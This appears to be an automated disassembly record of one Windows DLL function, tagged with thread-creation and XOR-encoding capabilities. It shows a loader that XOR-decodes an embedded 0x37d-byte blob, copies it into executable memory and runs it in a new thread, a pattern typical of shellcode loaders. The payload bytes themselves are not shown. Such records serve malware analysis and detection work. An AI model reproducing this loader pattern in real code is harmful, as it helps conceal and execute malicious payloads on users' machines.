Function at 0x180001060
Capabilities:
Create thread
Encode data using xor

Disassembly:
sub rsp, 0x3c8
mov rax, qword [0x180004008]
xor rax, rsp
mov qword [rsp + 0x3b0], rax
cmp edx, 1
jne 0x1800012b4
mov qword [rsp + 0x3c0], rbx
lea rdx, [rsp + 0x30]
mov ebx, 6
lea rax, [0x1800031f0]
mov ecx, ebx
nop dword [rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x1800010a0
movups xmm0, xmmword [rax]
mov rcx, qword [rax + 0x70]
movups xmm1, xmmword [rax + 0x10]
movdqa xmm2, xmmword [0x180003570]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, byte [rax + 0x7c]
lea rax, [rsp + 0x40]
mov byte [rdx + 0x7c], cl
xor ecx, ecx
nop dword [rax]
movdqu xmm0, xmmword [rax - 0x10]
add ecx, 0x40
lea rax, [rax + 0x40]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm0, xmmword [rax - 0x20]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
cmp ecx, 0x340
jb 0x180001150
movsxd rax, ecx
cmp rax, 0x37d
jae 0x1800011c1
lea rax, [rsp + rax + 0x30]
nop dword [rax + rax]
xor byte [rax], 0x81
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x37d
jb 0x1800011b0
xor ecx, ecx
mov edx, 0x37d
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [0x180004638]
mov r8, rax
lea rdx, [rsp + 0x30]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x1800011f0
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
xor r9d, r9d
movups xmm1, xmmword [rdx + 0x10]
mov rbx, qword [rsp + 0x3c0]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x28], 0
movups xmm0, xmmword [rdx + 0x20]
mov dword [rsp + 0x20], 0
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, byte [rdx + 0x7c]
xor edx, edx
mov byte [rcx + 0x7c], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.1800012f0
add rsp, 0x3c8
ret